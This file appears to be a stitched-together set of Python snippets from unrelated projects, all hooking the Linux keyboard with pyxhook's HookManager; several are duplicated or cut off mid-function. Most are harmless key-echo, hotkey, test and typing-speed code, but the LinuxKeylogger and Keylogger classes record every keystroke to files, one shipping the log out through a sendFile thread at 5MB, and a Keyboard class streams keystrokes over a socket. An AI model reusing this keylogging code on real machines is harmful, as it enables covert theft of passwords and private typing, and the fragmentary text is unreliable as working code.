def echo_keypresses(): print('Echoing key presses.') print('Press ctrl+c to exit.') control_keys = ["Control_R", "Control_L",] control = [False] def handle_keydown(event): print('Key-down:') print('\tkey:', event.Key) print('\tkey id:', event.KeyID) print('\tscan code:', event.ScanCode) if event.Key in control_keys: control[0] = True elif control[0] and event.Key in ('C','c'): sys.exit() def handle_keyup(event): print('Key-up:') print('\tkey:', event.Key) print('\tkey id:', event.KeyID) print('\tscan code:', event.ScanCode) if event.Key in control_keys: control[0] = False hm = HookManager() hm.HookKeyboard() hm.KeyDown = handle_keydown hm.KeyUp = handle_keyup hm.start()
def main(): onKeyPress = Constructor() keyboard = HookManager() keyboard.KeyDown = onKeyPress keyboard.KeyUp = onKeyPress keyboard.HookKeyboard() keyboard.start()
class KeyListeningAgent(object): def __init__(self): self.klg = HookManager() self.klg.KeyDown = self.key_down self.klg.KeyUp = self.key_up self.klg.HookKeyboard() self.klg.start() self.pressed_key = "none" def key_down(self, event): k = event.Key self.pressed_key = k.lower() def key_up(self, event): self.pressed_key = "none" def process_image(self, image): # Working image. work_image = np.array(image) # Grayed-out. image_gray = cv2.cvtColor(work_image, cv2.COLOR_RGB2GRAY) # Inverting to make objects easier to "see". image_gray = cv2.bitwise_not(image_gray) # Resize for neural net. image_resize = cv2.resize( image_gray, (image_gray.shape[1] // 4, image_gray.shape[0] // 4), interpolation=cv2.INTER_NEAREST) return image_resize
def run(self): print 'Running...' hm = HookManager() hm.HookKeyboard() hm.KeyDown = self.handle_keydown hm.KeyUp = self.handle_keyup hm.start()
def run(self): print('Running...') hm = HookManager() hm.HookKeyboard() hm.KeyDown = self.handle_keydown hm.KeyUp = self.handle_keyup hm.start()
def echo_keypresses(): print 'Echoing key presses.' print 'Press ctrl+c to exit.' control_keys = ["Control_R", "Control_L",] control = [False] def handle_keydown(event): print 'Key-down:' print '\tkey:',event.Key print '\tkey id:',event.KeyID print '\tscan code:',event.ScanCode if event.Key in control_keys: control[0] = True elif control[0] and event.Key in ('C','c'): sys.exit() def handle_keyup(event): print 'Key-up:' print '\tkey:',event.Key print '\tkey id:',event.KeyID print '\tscan code:',event.ScanCode if event.Key in control_keys: control[0] = False hm = HookManager() hm.HookKeyboard() hm.KeyDown = handle_keydown hm.KeyUp = handle_keyup hm.start()
class LinuxKeylogger(): def __init__(self): self.new_hook = HookManager() # Instantiate HookManager class self.new_hook.KeyDown = self.onKeyPress # listen to all keystrokes self.new_hook.HookKeyboard() # hook the keyboard self.new_hook.start() # start the hook session def onKeyPress(self, event): global timeNow global data global exitStack global keyLength global wifiLogsFile global keylogsFile if event.Key == 'space': event.Key = ' ' elif event.Key == 'Tab': event.Key = '<TAB>' elif event.Key == 'BackSpace': event.Key = '<Backspace>' elif event.Key == 'Shift_L' or event.Key == 'Shift_R': event.Key = '<Shift>' elif event.Key == 'Delete': event.Key = '<Delete>' data += event.Key print exitStack if event.Key == '<Backspace>': exitStack.append(event.Key) elif event.Key == '<Delete>': exitStack.append(event.Key) else: exitStack = [] if len(exitStack) == 4: print exitStack if exitStack[0] == '<Backspace>' and exitStack[ 1] == '<Delete>' and exitStack[ 2] == '<Backspace>' and exitStack[ 3] == '<Delete>': # If last four values sysExit(0) # TODO Implement a GUI version of our exit task else: exitStack = [] if len(data) == 128: # Write data in chucks of 128 bytes writeKeylogs() data = '' if os.path.getsize( keylogsFile) >= 5e+6: # Send log file when it reaches 5MB t = threading.Thread(target=sendFile(), args=()) t.start()
class Keylogger: def __init__(self): self.klg = HookManager() self.klg.KeyDown = self.listening self.klg.HookKeyboard() self.klg.start() def listening(self, event): k = event.Key print k if k == "space": k = " "
class LinuxKeylogger(): def __init__(self): self.new_hook = HookManager() # Instantiate HookManager class self.new_hook.KeyDown = self.onKeyPress # listen to all keystrokes self.new_hook.HookKeyboard() # hook the keyboard self.new_hook.start() # start the hook session def onKeyPress(self, event): global timeNow global data global exitStack global keyLength global wifiLogsFile global keylogsFile if event.Key == 'space': event.Key = ' ' elif event.Key == 'Tab': event.Key = '<TAB>' elif event.Key == 'BackSpace': event.Key = '<Backspace>' elif event.Key == 'Shift_L' or event.Key == 'Shift_R': event.Key = '<Shift>' elif event.Key == 'Delete': event.Key = '<Delete>' data += event.Key print exitStack if event.Key == '<Backspace>': exitStack.append(event.Key) elif event.Key == '<Delete>': exitStack.append(event.Key) else: exitStack = [] if len(exitStack) == 4: print exitStack if exitStack[0] == '<Backspace>' and exitStack[1] == '<Delete>' and exitStack[2] == '<Backspace>' and exitStack[3] == '<Delete>': # If last four values sysExit(0) # TODO Implement a GUI version of our exit task else: exitStack = [] if len(data) == 128: # Write data in chucks of 128 bytes writeKeylogs() data = '' if os.path.getsize(keylogsFile) >= 5e+6: # Send log file when it reaches 5MB t = threading.Thread(target=sendFile(), args=()) t.start()
class Keylogger: def __init__(self): self.klg = HookManager() self.klg.KeyDown = self.listening self.klg.HookKeyboard() self.klg.start() def listening(self, event): k = event.Key if k == "space": k = " " with open('.keylogged', 'a+') as keylogging: keylogging.write('%s\n' % k)
class ThreadedKeyBind(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): self.new_hook = HookManager() self.new_hook.KeyDown = self.OnKeyPress self.new_hook.HookKeyboard() self.new_hook.start() # self.new_hook.cancel() def OnKeyPress(self, event): """ function called when any key is pressed """ global prev_Key, key_binding if event.Key == key_binding[1] and prev_Key == key_binding[0]: if utils.active == 1: utils.active = 0 elif utils.active == 0: utils.active = 1 prev_Key = None elif event.Key == 'c' and prev_Key == 'Control_L': self.text = xerox.paste(xsel=True) utils.clips.append(self.text) # pickle clips data with open(os.path.join(os.path.dirname(__file__), 'clips_data'), "wb") as f: pickle.dump(utils.clips, f, protocol=2) print("You just copied: {}".format(self.text)) elif event.Key == 'z' and prev_Key == 'Control_L': print("can") self.new_hook.cancel() else: prev_Key = event.Key return True
class Keyboard(object): __hook = None def __init__(self): pass def getKeys(self): pass def getKeysData(self,socketClient, size): def sendKey(event): data = json.dumps({'type': 6, 'code': 1 ,'status' : 'OK', 'keyboard': str(event)}) try: socketClient.sendall(data) except: return self.__hook = HookManager() self.__hook.HookKeyboard() self.__hook.KeyDown = sendKey self.__hook.start() time.sleep(size) self.__hook.cancel()
# Actions for each key state if state == 0x3c: send_key("Escape") elif state == 0xe: send_key("F5") elif state == 0xd: send_key("F7") # Send an emulated keypress to the current window of the X session def send_key(emulated_key): window = display.get_input_focus()._data["focus"]; # Generate the correct keycode keysym = Xlib.XK.string_to_keysym(emulated_key) keycode = display.keysym_to_keycode(keysym) # Send a fake keypress via xtest Xlib.ext.xtest.fake_input(display, Xlib.X.KeyPress, keycode) display.sync() time.sleep(0.5) Xlib.ext.xtest.fake_input(display, Xlib.X.KeyRelease, keycode) display.sync() # Load the hook manager and snoop on all KeyUp and KeyDown events hm = HookManager() hm.HookKeyboard() hm.KeyUp = handle_release hm.KeyDown = handle_press hm.start()
class TestPyxHook(TestBase): """ Tests the pyxhook library for Linux. """ def setUp(self): pass def tearDown(self): pass # Key generator. def generator(self, s, key=None): for i in range(len(s)): if key is not None: yield key if s[i] in specialKeysyms.keys(): yield specialKeysyms[s[i]] else: yield s[i] def reportevent(self, event): # It's not case sensitive. ek = string.lower(event.Key) ngn = string.lower(next(self.gn)) # We don't care about underscores. ngn = string.replace(ngn, "_", "") print ek, ngn self.assertEqual(ek, ngn) def base_test(self): self.hm = HookManager() self.hm.HookKeyboard() self.hm.HookMouse() self.hm.KeyDown = self.reportevent self.hm.MouseAllButtonsDown = self.reportevent self.hm.MouseAllButtonsUp = self.reportevent self.hm.start() d = Display() def test_numbers(self): numbers = '0123456789' self.gn = self.generator(numbers) self.base_test() emulateWritingString(d, numbers, 0.075) # 75ms self.hm.cancel() def test_lowercase(self): lc = u'abcdefghijklmnopqrstuvwxyz' self.gn = self.generator(lc) self.base_test() emulateWritingString(d, lc, 0.075) # 75ms self.hm.cancel() def test_uppercase(self): uc = u'abcdefghijklmnopqrstuvwxyz' self.gn = self.generator(uc, 'shift_l') self.base_test() emulateWritingString(d, string.upper(uc), 0.075) # 75ms self.hm.cancel() def test_simple_symbols(self): uc = u"º'¡\t\n<+ç" # \r self.gn = self.generator(uc) self.base_test() emulateWritingString(d, uc, 0.075) # 75ms self.hm.cancel() def test_simple_combos_symbols(self): keys = ['shift_l', 'shift_r', 'alt_l'] for key in keys: ss = u"2" self.gn = self.generator(ss, key) self.base_test() emulateWritingString(d, ss, 0.075, key) # 75ms self.hm.cancel()
global FILEH s = getTime( T_START ) st=str(s)+" "+str(K)+" "+str(e.ScanCode)+" "+str(e.Ascii)+" "+str(e.Key)+"\n" FILEH.write( st.encode("utf-8") ) def keyDown( e ): if STATE: writeEvent( e, K_D, " Pressing: " + str( e.ScanCode ) ) def keyUp( e ): if STATE: writeEvent( e, K_U, " Released: " + str( e.ScanCode ) ) HM.KeyDown = keyDown HM.KeyUp = keyUp HM.start() app = None class Application( QWidget ): LINES = getSampleText( "text.txt" ) OLINES = [] LINE = 0 #Which line it is on FONT = QFont("Courier New", 11) def __init__( self ): super( Application, self ).__init__() self.START = QPushButton( "Start Logging" ) self.START.setFont( self.FONT ) self.QUIT = QPushButton( "!!! EXIT APPLICATION !!!" ) self.QUIT.setFont( self.FONT )
return {"file": file, "project": project} def OnKeyPress(key): global last_keypress, wpm key_history[pointer] += 1 last_keypress = int(time.time()) wpm += 0.2 hook = HookManager() hook.KeyDown = OnKeyPress hook.HookKeyboard() hook.start() def avg_keys_per_second(): return round(sum(key_history[0:arraylength]) / (arraylength / 4), 2) RPC.connect() def update_rpc(): global curr_minute, last_wpm, wpm if (round(time.time() / 60) != curr_minute): last_wpm = wpm wpm = 0
#!/usr/bin/env python from pyxhook import HookManager watched_keys = ["Control_R", "Control_L"] def handle_event(event): if event.Key in watched_keys: print "KeyRelease" hm = HookManager() hm.HookKeyboard() hm.KeyUp = handle_event hm.start()